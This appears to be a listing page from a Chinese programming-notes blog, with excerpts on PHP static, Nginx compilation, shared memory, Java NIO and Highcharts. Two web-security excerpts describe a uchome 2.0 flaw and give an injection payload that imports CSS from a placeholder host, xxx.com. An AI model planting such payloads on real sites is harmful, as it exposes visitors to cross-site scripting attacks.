PHP笔记网

革命尚未成功,同志仍须努力下载JDK17

作者:Albert.Wen  添加时间:2012-05-26 00:41:40  修改时间:2024-11-14 17:15:13  分类:11.PHP基础  编辑

在看别人项目过程中,看到函数里面很多static修饰的变量,关于static修饰的变量,作用域,用法越看越困惑,所以查了下资料。

static用法如下:

1.static 放在函数内部修饰变量

2.static放在类里修饰属性,或方法

3.static放在类的方法里修饰变量

4.static修饰在全局作用域的变量

作者:Albert.Wen  添加时间:2017-10-29 21:23:29  修改时间:2024-10-09 21:49:56  分类:Linux软件安装/参数优化  编辑

编译 Nginx

#安装依赖库
sudo apt-get -y install libpcre3 libpcre3-dev
sudo apt-get -y install libssl-dev openssl libcurl4-openssl-dev
sudo apt-get -y install build-essential libtool
 
#安装pcre库
cd /alidata/tmp/deepin-sdk/source2/nginx
sudo tar -xzvf ./pcre-8.36.tar.gz
cd ./pcre-8.36
sudo ./configure
sudo make && sudo make install
作者:Albert.Wen  添加时间:2017-10-27 09:55:53  修改时间:2024-11-13 11:26:17  分类:13.C/C++/Rust  编辑

一、什么是共享内存

顾名思义,共享内存就是允许两个不相关的进程访问同一个逻辑内存。共享内存是在两个正在运行的进程之间共享和传递数据的一种非常有效的方式。不同进程之间共享的内存通常安排为同一段物理内存。进程可以将同一段共享内存连接到它们自己的地址空间中,所有进程都可以访问共享内存中的地址,就好像它们是由用C语言函数malloc()分配的内存一样。而如果某个进程向共享内存写入数据,所做的改动将立即影响到可以访问同一段共享内存的任何其他进程。

作者:Albert.Wen  添加时间:2012-05-29 23:03:56  修改时间:2024-11-05 14:51:48  分类:16.编程基础/Web安全  编辑

利用条件:开启注册&&开启投稿

方法 :注册会员 -> 发表文章:内容输入

<style>@import 'http://xxx.com/xss.css';</style>
作者:Albert.Wen  添加时间:2012-05-29 23:04:34  修改时间:2024-10-27 06:53:23  分类:16.编程基础/Web安全  编辑

发布时间2010-09-03

影响版本uchome 2.0

漏洞描述看源码分析的,出错位置较敏感,而且基本没有利用限制,个人主页自定义风格时,可@import外部css文件

测试方法

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

作者:Albert.Wen  添加时间:2013-08-14 22:15:09  修改时间:2024-11-07 08:15:43  分类:07.Java基础  编辑

Java NIO中的Buffer用于和NIO通道进行交互。如你所知,数据是从通道读入缓冲区,从缓冲区写入到通道中的。

作者:Albert.Wen  添加时间:2014-07-03 15:36:00  修改时间:2024-11-05 20:52:05  分类:05.前端/Vue/Node.js  编辑

Highcharts是一个制作图表的纯JavaScript类库,主要特性如下:

  • 兼容性:兼容当今所有的浏览器,包括iPhone、IE(IE6,IE7,IE8等)和火狐等等;

  • 对个人用户完全免费;

  • 纯JS,无BS;

  • 支持大部分的图表类型:直线图,曲线图、区域图、区域曲线图、柱状图、饼装图、散布图;

  • 跨语言:不管是PHP、Asp.net还是Java都可以使用,它只需要三个文件:一个是Highcharts的核心文件highcharts.js,还有a canvas emulator for IE和Jquery类库或者MooTools类库;

官方演示:http://www.highcharts.com/demo/

作者:Albert.Wen  添加时间:2013-08-15 18:02:11  修改时间:2024-11-03 11:38:13  分类:07.Java基础  编辑

简单来讲,Selector会不断地轮询注册在其上的Channel,如果某个Channel上面有新的TCP连接接入、读和写事件,这个Channel就处于就绪状态,会被Selector轮询出来,然后通过SelectionKey可以获取就绪Channel的集合,进行后续的I/O操作。

作者:Albert.Wen  添加时间:2013-07-13 20:17:37  修改时间:2024-11-12 21:04:23  分类:行业资讯  编辑

作者:Albert.Wen  添加时间:2019-03-23 16:30:03  修改时间:2024-11-09 23:59:42  分类:15.OpenResty_Lua  编辑
  • libssl 是为了可以使用HTTPS功能
  • libpcre 是为了可以使用正则表达式,主要是为了伪静态重写等
  • zlib 将文本可以使用gzip压缩等